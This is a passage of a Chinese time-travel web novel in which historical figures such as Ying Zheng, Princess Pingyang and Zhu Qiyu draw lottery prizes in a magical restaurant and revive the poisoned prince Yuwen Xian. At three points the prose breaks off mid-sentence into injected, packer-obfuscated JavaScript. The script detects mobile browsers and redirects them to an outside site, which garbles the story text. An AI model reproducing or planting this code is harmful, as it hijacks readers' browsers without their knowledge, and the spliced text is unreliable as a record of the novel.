前秦广平郡王苻黄眉,带兵拥立苻生即位,此后征战四方,扫平叛乱,为国之柱石。 却被这位堂弟百般羞辱,生生逼反,自己横死不说,妻儿老母也全部罹难。 刘宋宰相谢晦,是开国元勋,兼高祖顾命大臣。 废昏立明,拥立宋文帝,结果,宋文帝登基的第二年,就让他身死族灭,满门抄斩。 刘宋帝师王景文,作为宋明帝的老师,弑废帝,立新主,平定义嘉之乱。 明帝死前却因为担心主少国疑,老师可能对皇权产生威胁,选择一杯鸩酒将王景文送走。 就连沈约。 既是萧衍的早年好友,相知莫逆,又在危难中相助,扶立对方登基,即位诏书都是他所撰,担任梁朝宰相多年。 到头来,依然忧惧而死。 被亲手选定的这位“天子圣哲”逼上了绝路,在极端凄凉中落幕。 只要昏君在上,良臣们再怎样努力,又有什么用呢? 不管中立、还是主动抗争,又或者顺势而为,总逃不开一个死字。 这无关顺逆,无关抗争,甚至无关于他们在动荡时局中做出了怎样的选择。 一切的一切,最终都会变成—— 景泰八年始终不曾降临的春日,永明十一载再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774732|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有唱响的《曲水序》,天监十二年帝王略带冷笑,说出的那一声“怀情不尽,为沈约谥曰隐侯。” 良臣们的结局会是,“折风落迅羽,流恨满青松。” 也会是,“尺璧尔何冤,一旦同丘壤。” 更可能是,“千秋社稷悲忠肃,四尺孤坟葬景皇。” 前人血迹斑斑落满青史页,于谦不是一个被昏君冤杀的贤臣,也注定不是最后一个。 从古至今,这样的悲剧依旧在不断重演,没有什么不同。 “所以说”,萧子良一锤定音,“于谦的死根本和你没关系,你绝无任何对不住他的地方,千错万错都是昏君的错,别再自责了。” 朱祁钰还有点迟疑,又觉得云英好像很有道理:“真的吗?” “千真万确”,他毫不犹豫地点点头,“小钰信我,现在最重要的是想个办法除掉朱祁镇。” “还有萧鸾萧昭业”,朱祁钰回过神来,补了一句。 萧子良握紧拳头,使劲挥了挥:“对,还有萧鸾萧昭业!” …… 一个时辰后,李殷殷宣告:“现在可以进行抽奖了。” 这可是一件大事,也是改变命运的契机,众人摩拳擦掌,全都围拢了过来。 抽奖机放置在食肆三楼,名义上,只是一个房间,实际却是一处完全独立的空间。 推门而入,四方皆漆黑无垠,茫茫一片旷野,空荡荡不知其深远。 李殷殷单手结印,一道炫目的流光从辽远的地平线上升起,周围如同光幕一样,瞬间开启,播放出了无数的碎片幻境。 那是来自人间界每一个时空位面的群像,密密麻麻,铺满了天上地下,六合八方,以亿亿万万计。 如果看得时间够久,也够仔细,甚至可以在其中看见自己或相识之人。 然而,不管是帝王将相,还是士女文豪,在影像中,都如同破碎的星子一般微渺,几不可辨。 唯有历史的流光浩浩荡荡地涌动,苍茫如海潮, 万古岁月都在眼前,所有人都沉默下来,心中不可抑制地升腾起了一丝敬畏。 “这里,就是万朝时空交汇点。” 李殷殷一挥衣袖,面前霎时浮现出了一只手掌,和人手差不多,却是纯金色的。 “我炼制出了这柄抽奖法器,只需将其握在手中,就能无视世界壁垒,将手伸进诸天万朝,随机抽取一物。” 嬴政听到这里,疑惑道:“竟然是从其他时空抽取奖品?” 好失望。 还以为是店主仙人放进去的那些丹药/法器/各种强国神物呢。 先前店主都说了,奖池里有修真界常见的各类物件,还有她自己做的飞行器、浮空船、须弥袋、光剑,至于延寿丹等神物,更是应有尽有。 李殷殷笑吟吟地给他画饼:“放心,都会有的,奖池都连在一处,至于能抽到什么东西,是好是坏,是来自历史位面还是修真界,全凭运气。” 抽奖并不收费,而是她赠送给顾客们的消费福利,每逢三六九日可抽奖,每人每回仅限定一次。 所以,她不对里面的奖品做担保。 嬴政又问:“一次只能抽到一件东西,那其他奖品可以用功德币购买吗?” 李殷殷正要给他介绍这个功能:“等我升到五十级之后,会开放奖品兑换功能。但是,用功德币购买很贵……” 抽奖却是免费的,所以还是要看每个人的运气。 她点到为止,饭友们一下子就明白了。 “这事还远得很,我现在只有三级”,她摆摆手,笑道,“就请始皇帝来为大家做个示范吧。” 嬴政握住了那根金色手掌,触手冰冷,好似一块玉石。 一股奇特的力量顺着接触的地方缓缓流淌过来,向前一伸,顷刻就刺破了厚重无边的时空壁,向下抓去。 天地间的景色在飞速变幻,众多画面闪烁着,极速呼啸而过。 众人都目不转睛,紧张地看着这一幕。 直到某一刻,砰,眼前裂开一道缝,喷出炫彩虹霓,画面缓缓定格。 【恭喜01号顾客嬴政,一发入魂,获得大奖——】 11. 第 11 章 【恭喜顾客嬴政,获得日行万里的飞行器一艘!】 “恭喜始皇帝”,李殷殷有些惊讶,没想到嬴政第一个抽奖,就拿了开门红。 嬴政眼前一花,面前便多出了一架金属色外观的飞碟,周身呈流畅的弧形,散发着幽幽蓝光。 依秦制,十丈为一引,这个长度目测大约是五六引,内部空间广阔。 就是看起来很像一只闭了壳的蚌,头也有些秃…… 修仙界都是这般审美清奇吗。 他凝视看了许久,也没找到表面有任何一条裂缝,不由目光疑惑地看向李殷殷:“店主仙人,这如何进去?” 李殷殷作为一名天才器修,设计出来的东西自然不会那么简单:“需要滴血认主,之后才能开启通道。” 嬴政颔首,能认主倒是一件好事,不必担心别人觊觎神器。 一滴鲜血缓慢渗入飞碟表面,他忽然感到,自己和眼前之物建立了一种奇特的联系,心念一动,一条流光溢彩的通道就在身前徐徐展开。 而飞碟也在此刻被激活了,一块功能菜单屏幕自动浮现在嬴政手中。 它可以升天飞行,可以航海,可以下潜,自带一个世界范围内的巡航定位地图,至多能容纳一千人。 唯一的限制就是不能离开星球所在的区域,无法前往宇宙。 “奇哉!” 嬴政望着地图上纵横的山川脉络,惊讶不已。 随着滴血认主,地图自动校正到了始皇二十八年的世界全景,光是这一张图纸就价值无量了。 天南海北,六合八荒,每一处邦国、城池和地势都显示得清晰分明,人口稠密地图也进行了标志。 这个时代,亚历山大大帝的帝国已经崩塌,数个王朝从废墟之上立起,大打出手,抢夺这位不世英主留下的遗泽。 巴比伦也走向了没落,昔年繁盛的政治文化中心已然归于颓圮,日渐凋零荒芜。 阿育王的南征北战刚刚落下帷幕,希腊与整个欧陆烽火四起。 恰恰就在这一年,第二次布匿战争打响,罗马共和国与迦太基的纷争陷入白热化。 这是一个风起云涌的年代,大争之世。 嬴政仅仅是注视着地图,心中就有一股豪情激荡而起。 仿佛已经看见了大秦军队金戈铁马,横扫万里,恰如浩荡长风席卷,猎猎的旗帜飘摇在五洲四海,所到之处全都推行大秦官话。 当然,对于现在的他来说,可能最后一点才是最关注的。 他伸手握紧了佩剑,万里江山连绵起伏的轮廓倒映入眼眸中。 多少的凌云帝业青霄宏图,多少的日月如箭朔风吹雨,路尽处,再拔剑振衣见青山,千秋风雷声烈,从此,都将化作帝国的无限征程。 还有许多高山要攀登,许多事情要忙碌。 比如,飞碟只能容纳一千人,要如何安排才能最大化发挥其作用呢…… 回去得开廷议讨论,来日方长。 嬴政定下心神,邀请众人都进来看看。 饭友们鱼贯而入,走上舷梯,左摸摸右摸摸,啧啧称奇,眼神里写满了惊叹:“仙人所制果然并非凡物!” “点这个按钮就能放大看世界各处,就连每一栋房屋都清清楚楚!” “始皇帝,下回能不能我们自己出资,你带我们飞天遁地一回?” 也有格外不走寻常路的,比如萧子良,他就特别认真地思索道: “飞碟并非只能装人,也可以装东西,如果挑一个什么其他国家的金矿银矿,趁人不备,直接空降过去…….” 嬴政直呼好家伙:你小子是想让大秦举国当贼啊! 众人热烈地讨论着,情绪十分高涨。 李殷殷注视着这一幕,眸中忽而焕发出异常明亮快活的神采。 她平常看起来总是有些慵懒,甚至疏离淡漠的,好像对什么都不太上心,唯独此刻,显而易见地高兴极了。 这是她的作品,她所热爱的一切。 天下没有任何一个创造者,看到自己做出来的东西被人喜爱追捧,能够不动容微笑。 李殷殷心情一好,就决定给顾客发福利:“始皇帝,你要想驾驭这架飞碟,还有两个问题,现在一并同你解决了。” 嬴政:“店主仙人请讲。” 李殷殷微笑道:“一是尽管有系统辅助驾驶,但还需要一人进行操控。这个受训过程很艰难,不过,一旦你找到了合适人选,我可以直接为此人进行灌顶——” 嬴政本来还在琢磨着该让谁来,既然是飞碟的驾驶者,肯定得不惧危险,随军亲征。 秦国各路高级将领的名字在心头转了一圈,随即,他忽然意识到,不对啊。 仙人都说要给此人进行灌顶了,就等于这个人也可以到万朝食肆来面见仙人,甚至成为顾客,参加活动。 这是天大的机缘! 嬴政当机立断:“朕回去之后就把扶苏送来。” 李殷殷惊讶于他的决定,忍不住提醒了一句:“始皇帝可要想好了,外出征战有风险,培养一个继承人不容易。” 嬴政却已经打定了主意:“不经历一番洗礼雕琢,岂能成长为社稷才!” 他从前在赵国为质,颇多朝夕飘摇,尝遍心酸。 另一个明君案例,旁边萧子良他爹齐武帝,也是起于微末,亲身征战,早年间多次死里逃生,十分艰险。 相比之下,扶苏的经历就太顺了,和风细雨终究浇灌不出一株巍巍钜木。 现在还远远不够格当他理想的继承人,嬴政准备再观望一阵。 李殷殷点点头:“另一个问题呢,就在于飞碟的能源,它只能投入晶石。我今天先赠送你一包,足够支持一年,下回再来,你就得自己花费功德币购买。” 嬴政嘴角微微一抽:“好。” 好家伙,原来在这里等着,根本不是一锤子买卖。 他打开地图,发现还有个【人物追踪模式】,点开之后只需要输入姓名,就能自动校准此人现在所处的位置,还有简单的人物介绍。 不由沉吟道:“这个张良能挖来干活吗?” 萧子良灌了一口玫瑰花茶:“张良虽然挺厉害的,但父祖两代,五朝相韩,不太好收服吧。” 天呢,李殷殷下意识给他竖起大拇指,别人说这话可以,你家能说这话吗? “你们家那个王俭「王文宪」,不也是在刘宋三代为相,最后,却给你家当了建国元勋……” 王俭的亲爹王僧绰、叔父王僧虔、爷爷王昙首,都是刘宋宰相。 他本人,更是宋文帝的外孙、宋明帝的女婿,属于双重外戚,一度官至侍中宰相(虽然后来被他推辞了)。 几道buff叠加,都没拦得住王俭投靠萧赜、建立新朝的决心。 也不知武帝给他灌了什么迷魂汤,让他舍弃一身官位,弃性命于不顾,愿追随出生入死,履险处艰,在所不辞。 南齐建国的时候,论功行赏,王俭位列开国功臣之首,时年只有二十五岁。 二十五岁的开国功臣之首啊,古来未有,以后也很难再出现了。 萧子良啊了一声,直起身子,大声道:“这不一样,王太尉和我父皇是死生至交,士为知己者死的关系,而且……明明是刘宋先有负于他!” “王太尉自幼丧亲,生父被当时的皇帝虐杀,生母虽贵为公主,却因为卷入巫蛊之事暴毙。” “后来,宋明帝更是想掘了公主坟,开棺戮尸,还是他素服披发入宫,叩头请死,才将母亲的棺木保下来。” “刘宋君主昏聩至此,王朝末年更是动荡不安,搞得乱兵四起,民不聊生,前见子杀父,后见弟杀兄,不灭何为?” “所以,他和我父皇志向相投,一见如故,当场就认定了彼此乃是天命君臣——” 萧子良觉得吧。 他父皇和王俭早年都是极致的理想主义者,像他们这样的人,是真的愿意为了平定乱世、再造海晏河清,而迎向刀刃,慨然奋战的。 哪怕这个愿望,杳然如山冈上静静高悬的明月,虚无而飘远。 但他们都坚信,乱世一定会结束,黎明终究会到来的。 这是长夜中两颗星辰的碰撞与相遇,照亮亘古寂静的漆黑,燃烧成一段不朽。 想到这里,萧子良顿时改了主意,对嬴政挥了挥手:“害,两代相韩算什么,只要始皇帝你去找张良谈谈理想,为了江山百姓计,他一定会纳头便拜,以供驱策的!” 嬴政无语。 这小子明明说的是好话,怎么听起来就那么奇怪呢? 平阳公主也道:“张良只是宰相后人,又不是皇室之后,大概率能挖过来。就算天家子孙也有不少在亡国后给新朝效命的,甚至还建了不少功勋。” 朱祁钰正想着,她到底在说哪一家皇室。 是宋亡入元、在元朝官至从一品荣禄大夫的赵孟頫? 还是西夏的末代皇孙、曾在崖山海战大破宋军的李恒? 但是,这些年代都在平阳公主后面。 就在此时,平阳公主举了一个例子:“比如慕容垂!” 众人:“……” 求求你千万别说了.jpg …… 紧接着,就到了02号顾客平阳公主的抽奖时间。 平阳公主握紧了金色手掌,深吸一口气,使劲往前伸去。 那只巨手穿过了浩茫无边的帷幕,无视时光阻隔,一路横冲直撞,片刻后,拉起了一样东西破空而出,腾云驾雾,扔回到她面前。 众人一看,统是目瞪口呆:“公主殿下,你怎么抓了个大活人上来?!” 平阳公主也很震惊,这是绝对无法预料到的奖品! 对面的家伙到底是谁啊! …… 北周宣帝宇文赟位面。 本朝先皇宇文邕,乃是雄才大略的一代明君,性情严厉。 所以,宇文赟在太子时期,处处都被父皇管教着,极端压抑,过得很不痛快。 登基之后,他无人管制,立即放飞自我,不仅同时设了五个皇后取乐,还迫不及待自毁长城,赐死了战功赫赫的叔父宇文宪。 “今日就送叔父上路!” 宣帝立在殿中,猖狂地大笑着,一面示意宫人送来鸩酒。 他不仅要杀了宇文宪,还要赐恶谥「炀王」,死了也不忘恶心他一把,谁让他功高震主的! 宇文宪面色平静,坦然等待死亡的到来。 因为近日受尽了折磨,他看起来很苍白消瘦,没有披甲,冠冕也因罪卸去,一身简素布衣,上面落满了血痕。 就是这样一个单薄瘦削的身影,成了大周战神,十年如一日地扛起了整片江山。 “戎马十载,终有今日”,宇文宪叹道,“死已晚矣!” 宫人强按着他,给他灌下了鸩酒。 他沉默着没有反抗,仿佛有一滴清泪落在了冰冷的液面上,无声晕染开。 在濒死的一瞬,宇文宪想起了很多的人和事,都如浮光掠影般匆匆而过。 想起了挥师覆灭的北齐,那位被帝王谗杀、血溅凉风堂的北齐国士斛律光,以及更早一些死去的兰陵王高长恭。 想起了这些年的征伐,屡战屡胜,镇蜀灭齐,用兵如神。 也想起了皇兄迎接他班师回朝,二人并辔归城,指点江山,仿佛一切尽在掌控。 最后,都定格在了宣政元年五月,率军北伐突厥,皇兄却在途中病重,握着他的手交代后事。 “阿兄,我来见你了”,宇文宪神色很平静。 我曾说,在一日,就守一日江山。 可是今生今世,就只能停留在这里了,往后的日子,我也无能为力。 毒药开始发作,眼前的一切都变得无比模糊。 他眸光望向宣室殿的殿顶,仿佛还能穿透这片虚空,望向远方的苍茫关河,霜风凛冽。 终究是回不去了啊。 他慢慢地闭上了眼,就在此时,忽然感觉有什么东西抓了他一把,身子一轻,将他整个人拽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780028|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 “什么鬼东西!”远方仿佛传来了周宣帝惊恐的大喝,“哪来的金色断手!” 头好痛…… 好想就此沉眠...... 宇文宪的意识缓缓消失,叮,一枚令牌顺着衣袖滑落在地。 朱祁钰顺手捡起,扫了一眼,大惊道:“上边写的齐王令,云英快过来看看,是你家里人吗!” 萧子良骇了一跳:齐王令?别是登基前的皇爷爷萧道成吧? 他赶忙过来辨认,上上下下瞅了半天,一颗心总算落回了肚子里,长舒一口气道:“我不认识他,这个齐王不是我们家的。” 饭友们一拥而上,围绕着看了半天。 无奈宇文宪一身都是血,还真没法从衣冠上辨认身份。 “首先排除掉春秋战国的齐王”,嬴政一锤定音,“这衣服布料他们做不出来。” 朱祁钰想了想,又把小李东阳提出来:“除了春秋战国,历史上还有哪些齐王?” 小幼崽扒着手指头,如报菜名一样,无比流利的说出了一长串。 “出名的齐王有:魏少帝曹芳,西晋的司马攸,北齐的高澄,平阳公主她四弟李元吉——这个可以排除哈。” “还有建宁王李倓——这个貌似是追封齐王,也可以排除。” “吴国的徐温,就是南唐烈祖李昪的养父,也是齐王,李昪后来也袭爵了齐王位。” “别的齐王还有:辽朝宰相韩德让,赵匡胤四弟赵廷美,伪齐政权的刘豫,金末一身三.反、叛金归宋又归蒙古的起义军领袖李全,以及元朝的王保保。” 朱祁钰一听王保保都出来了,不禁有些黑线:“这位就不必考虑了,一看就不对。” 小幼崽信服地点点头。 那么,问题来了,眼前的到底是哪一位齐王呢? 众人都将目光投向了李殷殷,而李殷殷也不负众望地……压根看不出来。 平阳公主长叹一声:“店主啊,就是他不是美人,不符合你的审美,至少面貌端正挺秀,咱们能帮还是帮一下吧。” 李殷殷大为不满:“难道在你们心目中,我就是这么颜控的人吗?” 众人诚恳地点点头,你当然是啊! 李殷殷无语了片刻。 她只能读取食肆顾客的身份信息,这人又不是走正门进来的顾客,而是被平阳公主钓上来的。 “我猜不到,你们都一起来认认。” 宇文宪被平放在地上,平阳公主绕着人走了一圈,试图寻找到一些线索。 忽然意识到一个问题:“我们这么大动静,他怎么还没醒?” 林逋上前一步,给宇文宪把了脉,流露出一丝惊讶之色:“他服了鸩毒,已入肺腑。” 平阳公主大惊,豁然一下站起身:“你确信?” 小幼崽也错愕了起来:“原来是他!” 古往今来的齐王很多,但饮鸩而死的可就只有那一个! 林逋微微点头:“我确定。” “七舅姥爷——” 平阳公主没想到这位居然是自己的亲人,大为焦急,单手提溜起这位长辈,大幅度地晃了晃:“七舅姥爷,你快醒醒,我是你的三外孙女啊!” 噗。 李殷殷忍不住笑出了声,想到了人间界后世一个出名的电视剧。 众人都满脸茫然看过来。 平阳公主尤甚,完全不明白这样的场合,店主仙人为什么会忽然发笑。 “咳咳”,李殷殷正了脸色,缓步踱了过去。 一道探测灵光渡入宇文宪体内,神色渐转严肃,蹙眉道,“你七舅姥爷喝了一整杯毒酒,生机已坏,想要救治,难矣。” 是难救,但并非不能救。 平阳公主听出了个中玄机,语气急切地问道:“怎么救?店主想让我付出何种代价?” “有两种法子”,李殷殷徐徐道,“一是把他的意识转移到机械人身上,以后像小金一样活着……” 平阳公主看看眉目挺拔的七舅姥爷,再看看大鼻孔秃头发的小金,长叹一口气,咬牙道:“第二种呢?” “第二种便是取巧了”,李殷殷说。 她也是方才灵机一动,受嬴政对飞碟滴血认主的启发,才忽然想到这么一个神操作。 “根据我设计的系统,你七舅姥爷作为你钓上来的奖品,就是你的所有物。” “你可以对他滴血认主,而后,便会获得一个调控面板,可以直接更改他的身体参数,到最理想状态。” 她说的比较悬乎,但平阳公主还是瞬间会意,内心怦然炸开了一朵小烟花。 天呐,竟有这等好事! 真能认主的话,就等于白捡了一个战神到麾下,以后征战天下又多一个巨大的助力,而且,还不用担心对方的忠心问题! “——当然,你必须争得宇文宪本人的同意”,李殷殷又加了个补充条款,“以后,凡是抽奖抽到活人的,统一照此处理,如对方不愿,须得任其自由。” 平阳公主认可地点点头:“理应如此。” 一旁,朱祁钰心中微动。 要是能抽历史人物的话,他抽中一个文天祥或者岳飞回家,岂不是发达了? 廷益一定会很开心吧。 萧子良寻思着,最好能把司马光抓过来暴揍一顿。 认不认主都不要紧,关键是泄愤,谁让他嘴贱在《资治通鉴》里胡乱骂人呢。 李殷殷对平阳公主说:“你准备好的话,我就唤醒你七舅姥爷了。” “好。” 平阳公主暗自酝酿了台词,准备待会拼一把。 事成就能捞一位战神助力,这波血赚! 宇文宪悠悠醒转,只觉头痛欲裂,一个披着甲胄的少女微笑坐在他身前,英气灿灿,眉眼之间,依稀透着几分熟悉。 “七舅姥爷,介绍一下,我是你素未谋面的三外孙女”,平阳公主伸手把人扶起,“你已经走了四十年了。” 宇文宪:“......?” 12. 第 12 章 平阳公主看出,七舅姥爷的状态很不好。 虽然被唤醒,但鸩毒仍旧丝毫未清,难受程度直接拉满。 她伸手扶住了对方:“我外祖襄阳公主,是您的胞姐,家母太穆皇后窦氏,自幼养在北周帝宫,多蒙您照料。” 宇文宪露出些许意外之色,随即向她点了点头:“幸会。” 平阳公主深吸一口气,用最简洁的语言,将事情始末叙述了一遍。 “如今大唐开国,正值武德元年,四方烽火纷起,龙蛇象征,正欲混一六合,扫平天下。” “这里是万朝食肆,店主仙人渡劫飞升的场所,我把您从北周时空里抓了出来,希望您能助我一臂之力……” 宇文宪神色沉静地倾听着。 平阳公主知道,这位舅姥爷作为帝国上将,一向作风沉稳,胸有惊雷而面若平湖,根本没法从对方的表情上判断到底有没有被打动。 她想了想,干脆开门见山: “七舅姥爷,您若是愿意随我回大唐的话,不仅可以恢复健康,再度披甲上阵,征战四方,也能彻底消灭隋室,为大周皇室复仇,让天下重又归于一统,重开盛世,再造乾坤。” 她的心中有些吃不准。 七舅姥爷刚经历了一番杀劫,恐怕会心灰意冷,对所谓的血脉亲情不抱任何期待。 连亲侄子都想着杀他,何况是自己这个从未见过的外孙女? 然而,出乎预料的是,宇文宪听完后,竟然直接表示:“我信你。” 平阳公主反倒大惊:“啊,这么草率的吗?” 宇文宪笑了笑,这一抹笑容浮现在他苍白深郁的面容上,好似把整个人都照亮了。 他目光烛然地看向她:“知人鉴心,一眼足以,此外毋需多言。” 人与人之间,确实是存在某种磁场的。 比如,他第一眼看见平阳公主,就知道这位外孙女和他是同一种人。 坚毅,决绝,手握刀剑,横扫万军,勇往直前,注定是战场上的王者。 他们习惯了沙场上直来直去的锋芒,是不会、也不屑于弄虚作假、玩弄人心的。 也正因为如此—— 宇文宪话锋一转:“我虽信你,却不信「平阳公主」。” 平阳公主一怔,没明白他的意思,下意识问:“有何区别?” 宇文宪眸光深深,望着她,眸底寒光一现,仿佛利刃出鞘般的霜寒之芒。 平阳公主被他这么一看,不由自主地挺直了腰。 宇文宪沉声道:“平阳,我虽然并不比你年长许多,但你既然称呼我一声舅姥爷,那我忝为长辈,有一句话确是不得不说——你要早做打算。” “你若想在战争结束后继续活下去,平安终老,就不能只是一个「平阳公主」。” 话说得很隐晦,但意思却很明确。 公主这个身份,说尊贵也尊贵,但在参政掌权方面,终究名不正言不顺。 身在天家,权力都没有保障,生命哪来的保障? 宇文宪自己的前车之鉴犹在,贵为齐王、大司马、上柱国,位极人臣,尚且说死就死,毫无反抗之力,何况平阳? 一旦帝王的屠刀迎头斩下,岂能逃脱? 就算李渊虎毒不食子,不至于弑杀亲女,但万一要夺军队、解兵权、将其架空,钝刀子割肉,她如何能抵抗? 宇文宪认为,自己即便选择了帮外孙女打天下,到头来,也不过是两人一起功高震主,难逃灾厄。 还不如一开始就不同意邀请。 平阳公主沉默,想起了人生卷轴上自己的结局,不得不承认宇文宪的担心是对的。 “您有什么建议呢?” 宇文宪反倒有些意外,他本来还担心这孩子听不进去。 他也是从这个阶段走过来的,年少豪情,意气风发,觉得世间所有难题根本都不算事。 见平阳公主已经意识到了情形的严峻,他很是欣慰:“天家无父女,你已经走到了这个位置,想要激流勇退也不成了,只能更进一步。” 平阳公主眉峰紧蹙:“怎么就发展到造反这一步了,舅姥爷,我还没有打算好。假如,我说假如,不是公主,而是亲王……” “那你只会死得更快”,宇文宪摇头道。 “归根结底,症结在于你功劳过高又过于年轻,而不在于你是男是女,是公主还是亲王。” “你年纪不过弱冠,用兵通神,南征北战,皇位上的那位再不向你出手,难道还嫌自己的位置坐得太安稳吗?” 好像是这样的,平阳公主哑然。 合着横竖都要造反,这也算她家里的优良传统了。 她头疼不已,忍不住道:“舅姥爷,你分明对局势剖析这么清楚,怎么还死得那么惨……” 这次,宇文宪静默了许久,才低声回了一句:“因为我那时别无选择。” 一顿,又道:“但你有,我不希望你最终落到跟我一样的结局。” 这句话如此真挚,平阳公主眸中渐渐浮现出了泪水,喃喃道:“我明白了。” 是啊,十六岁就出任外藩刺史、坐镇荆蜀险峻之地、肃清万里的天才少年,怎么会是有勇无谋、不识时务的蠢才。 宇文宪难道看不清楚周宣帝想害他吗。 当然能。 但这样的事,不是看出来就有用的。 于谦、王融、谢脁等人的事迹早已证明,只要有昏君在上,良臣不管做什么,都只能引颈待死,现在只不过多出了一个宇文宪的案例罢了。 话都说到这份上了,平阳公主岂能不为所动。 她从军多载,心性坚毅,绝非泛泛之辈,很快镇定下来,仔细推敲了一下目前的局势。 真的只有抗争这一条路了。 历史上,她曾退让过,结果换来了英年早逝的惨淡收尾。 这一次,她决定不再退让,要紧握刀剑,向命运宣战。 但是,平阳公主忽然意识到了一个问题…… 剧本上都说了,接下来是她弟弟李世民的贞观之治,四海清平,古今难得一见的治世巅峰啊! 她现在起兵搞事,那是妥妥的逆着历史大潮而行。 不知要连累多少百姓生灵涂炭,多少烽火摧烧城池,徒消耗于内战,还落不着任何好! 宇文宪听外孙女说完,也陷入了沉思。 他之所以鼓励平阳公主起兵,是因为觉得李渊不靠谱,昏聩且不能容人。 换成李世民,实无必要再去担忧功高震主。 但是...... 剧本上只说李世民活了五十一岁,又没说李世民的后人如何。 除非平阳公主能在弟弟驾崩的同时把自己也送走,否则,假如换上来一个大昏君,还是免不了重蹈覆辙。 “人心太过叵测,我不建议你去赌”,最终,宇文宪这么说。 他语重心长:“明君也不一定就能慧眼选出合适的继承人,皇兄也是名垂千古的明君,但宇文赟呢?还有江对面的萧赜,你瞅瞅他选出来的萧昭业,是个什么百世难得一见蠢材……” 萧子良默默捂住脸,别骂了,真的别骂了。 平阳公主无力地说:“舅姥爷,你不懂,起兵才更加前途叵测。” 即便是她,对上世民也是胜负难料啊。 而且姐弟二人关系一向很好,是全家最亲近的,她有信心,未来弟弟绝不会害她,更不愿主动和弟弟刀剑相向。 宇文宪拍了拍小外孙女的肩,叹息道:“你自己决定就好,我不过是幽冥间一缕幽魂,自不会替你越俎代庖。” 话音未落,忽听得旁边爆发出一声欢呼:“哇!” “快看我抽到了什么——是传送卡,好漂亮的卡片!” 小幼崽捧着一张金光闪闪的卡片,眉开眼笑,眸子都弯成了小月牙。 他高高兴兴地奔过来,把卡片高举到朱祁钰面前:“陛下快看,我得到了一个好宝贝!” 朱祁钰笑着接过,念出了上面的字:“传送卡——可以跨时空传送至多三万人,前往某一指定时空,仅限单向单次使用。” 他还没形成什么思路,萧子良已经灵机一动:“小钰,你要不要传送到朱祁镇出生的时候,直接把他掐死?” 朱祁钰:“……” 听着有点心动是怎么回事。 他强行压下这个可怕的念头,摇头道:“不可。这是单向传送,去了便回不来。” “如果景帝亲自前去,还是可以回来的”,李殷殷看热闹不嫌事大,笑吟吟地提议道,“届时,直接来食肆中转一下,即可回归景泰位面。” 朱祁钰头疼不已:店主,你这时候就不要来凑热闹了好吧! “不好不好,掐死朱祁镇只是泄愤,用处不大”,萧子良又开了一个脑洞,“应该在出生的时候,把小钰和朱祁镇调包一下,这样对大家都有好处。” “醒醒,我和他有两岁的年龄差”,朱祁钰觉得太离谱,伸手摸了摸他的额头。 也没发烧啊,怎么还说起胡话来了? 萧子良不高兴地拍掉他的手,又道:“小钰还可以开到你父皇或者皇爷爷所在的位面,直接和他们告状,把朱祁镇添油加醋地痛骂一顿。” “接下来发生的事,只需要交给你的祖宗处理就可以了——” 他就不信,朱祁镇这个倒霉玩意还能再出生! “好了,不要再提朱祁镇了,他不配”,朱祁钰实在是无可奈何,出言打断了他,“传送机会无比宝贵,应该用来做更有意义的事。” 萧子良听闻此言,当然是积极为好朋友排忧解难:“要不,你传送三万人的精兵过去,到新位面建立一个大明分国?” 三万人说多也不多,称不上兵多将广。 说少也不少,是一股足以在关键时刻扭转局势的力量。 朱祁钰显然是听进去了。 但眼下大明看似平和,实则危机暗藏,他很长一段时间都会忙于诛杀朱祁镇,并清除其党羽,暂时腾不出三万精兵进攻其他位面。 只能先搁置了,未来再议。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785038|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算把卡片收起,平阳公主忽然问:“景帝有意转让卡片吗?” 朱祁钰微讶,眸光回望,瞬间明白了对方的意思:“公主想带着齐王和诸部下,去另一个时空征战?” “不错”,平阳公主觉得,这不失为一种两全其美之法,“我欲去大唐亡国之时,平乱肃清,护我百姓,延我国祚。” 既不必姐弟相争,内战白白消耗国力,劳苦百姓。 同时,后世的大唐社稷濒危,也需要她去拯救。 至于平乱之后…… 天下都是她打下来的,登基为女帝,这不是顺理成章的事吗。 谁敢否认,先问过她手中剑! 宇文宪畅想了一番那样的场景,也露出一丝笑容:“如此甚好,请问店主仙人,可以转让吗?” 李殷殷颇为惊讶,谁能想到平阳公主这么秀,已经谋划到后世去了。 “我觉得不——” “店主仙人!” 眼看她好像有拒绝的意思,平阳公主立刻上前,握住她的手晃了晃,明眸中流光闪烁,用撒娇般的语气说:“帮帮忙嘛,我真的很需要它,拜托你啦~” 李殷殷当然……没顶住。 众所周知,颜控的一大特点就是以颜值为天。 当一位漂亮小姐姐站在面前,主动要跟你贴贴,你是不可能狠下心来拒绝她的。 